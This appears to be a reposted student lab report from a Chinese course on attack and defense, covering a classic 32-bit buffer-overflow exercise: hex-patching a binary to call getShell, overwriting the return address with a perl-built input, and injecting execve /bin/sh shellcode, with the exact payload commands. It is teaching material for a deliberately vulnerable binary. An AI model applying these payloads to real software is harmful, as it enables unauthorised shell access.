尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

20232413邓昊 2025-2026-1 《网络与系统攻防技术》实验一实验报告

20232413邓昊 2025-2026-1 《网络与系统攻防技术》实验一实验报告
📅 发布时间:2026/6/20 3:45:59

一.实验目标

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.注入一个自己制作的shellcode并运行这段shellcode。

二.实验知识点

1.熟悉Linux基本操作

2.能看懂常用指令,如管道(|),输入、输出重定向(>)等。

3.理解Bof的原理。

4.能看得懂汇编、机器指令、EIP、指令地址。

5.会使用gdb,vi。

三.实验步骤

(一)修改程序机器指令,该变终端名

image

 将pwn1文件下载至kali并改名为pwn20232413,反汇编文件

ba54d7f0fc4078c7a477d8abdc223cc6

 在终端输入vi pwn20232413,结果为乱码

点击esc,输入:%!xxd进入十六进制编辑模式,将e8 d7更改为e8 c3

a55b17d248108e7dbf73995c069510e4

 :%!xxd -r转回原来的格式并保存

fc25ce3fd58ffef13211fc59442dc012

 修改成功

输入./pwn20232413显示运行结果

image

 

(二)BOF攻击,改变程序执行流

安装gdb

使用命令sudo apt update和sudo apt install gdb命令安装gdb,完成后输入gdb,查看是否安装成功

d1dfc42093002cdef0fcbe6f0891971a

 复制pwn1,命名为pwn20232413_2

在 gdb 调试 pwn20232413_2程序的过程中,输入字符串 “1111111122222222333333334444444412345678” 后,使用 info r 命令查看寄存器 eip 的值,结果显示输入的 “1234”(对应十六进制 0x34333231)已覆盖堆栈上的返回地址。因此,只需将这四个字符替换为 getShell 函数的内存地址,就能让程序执行 getShell 函数。

302a96a13cee67d588aa215616c2bb33

 

0bcc93114746deeb8639ab093998fcab

 为了将1234替换为getShell的地址0x0804847d,我们通过以下命令生成一个包含这些十六进制内容的文件:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
生成文件后,使用十六进制查看工具查看文件内容,命令为:
xxd input
使用以下命令将input文件中的字符串作为可执行文件的输入:
(cat input;cat) | ./pwn20232413_2
输入字符串将传递给pwn20232413_2,实现对程序的控制。

b5e1b73d089cc98bd9795486a7a0a1aa

 成功调用getShell函数

(三)注入Shellcode

1.准备execstack

bdfdf6d1f13be12fe57904f3c29477b8

 2.构筑payload

输入命令构筑shellcode的输入

perl -e'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

输入以下命令将input_shellcode的输入内容作为pwn20232413_3的输入:
(cat input_shellcode; cat) | ./pwn20232413_3

25ee26b6c52d8bb0a77cbf797c452631

 3.新开终端,输入以下命令查看pwn20232413_3文件的进程及进程号:
ps -ef | grep pwn20232413_3

e170d70acf3963affaa6135c2c54d73f

 4.设置断点,查看注入内存

5.确认RET的覆盖跳转

6.shellcode执行结果

1d18d3cf147014667d1c1c02f45c1c1d

 

image

 

四.实验中遇到的困难与解决办法

困难:

安装gdb时,由于缺失公钥,无法验证签名,导致安装失败。

解决办法:

通过命令强制删除旧密钥,通过官方源重新导入密钥,修复密钥换文件权限,以下为使用到的命令

 1. 下载 Kali 官方密钥文件(archive-key.asc)
wget -O /tmp/kali-archive-key.asc https://archive.kali.org/archive-key.asc 2. 验证密钥文件完整性
gpg --verify /tmp/kali-archive-key.asc
正常输出应包含「Good signature from "Kali Linux Repository <devel@kali.org>"」 3. 将密钥导入 APT 密钥环
sudo apt-key add /tmp/kali-archive-key.asc4. 同时将密钥添加到「signed-by」指定的密钥文件(匹配 sources.list 配置)
sudo gpg --dearmor /tmp/kali-archive-key.asc -o /usr/share/keyrings/kali-archive-keyring.gpg
5.给密钥文件设置正确的权限(所有人可读,所有者可写)
sudo chmod 644 /usr/share/keyrings/kali-archive-keyring.gpg

ls -l /usr/share/keyrings/kali-archive-keyring.gpg
# 正常输出应类似:-rw-r--r-- 1 root root ...
五.实验心得
本次实验不仅让我掌握了缓冲区溢出漏洞的调试与利用方法,更培养了 “从程序底层逻辑分析问题” 的思维习惯。通过 GDB 工具的实操、栈帧结构的分析、payload 的构造与验证,我对 “程序执行流控制” 这一核心概念有了从抽象到具体的认知。未来,我将以本次实验为基础,进一步学习更复杂的漏洞类型与利用技术,不断提升自身的网络安全实践能力。
 

相关新闻

  • 充气泵方案:在开发时需要测试那些功能?
  • 直播预告|PostgreSQL 18 六大新特性深度解析
  • 新型电力系统下 MyEMS 微电网协同调度:实践路径与园区落地案例

最新新闻

  • 麻省理工研究人员打造 Fractal 操作系统,获苹果 M1 芯片新发现
  • React写的WebVR全景看房跳转demo,带贝壳式热点导航和视角控制
  • 2026年郑州脚手架搭建公司推荐:钢管脚手架/盘口脚手架搭建拆除、室内外装修架子搭设、脚手架租赁施工怎么选 - 海棠依旧大
  • 从PHP一句话木马到Webshell大马:攻防原理与实战防御指南
  • BepInEx IL2CPP启动失败:技术原理与完整解决方案指南
  • Elastic 被评为 IDC MarketScape《2026 年全球 SIEM 厂商评估》领导者

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号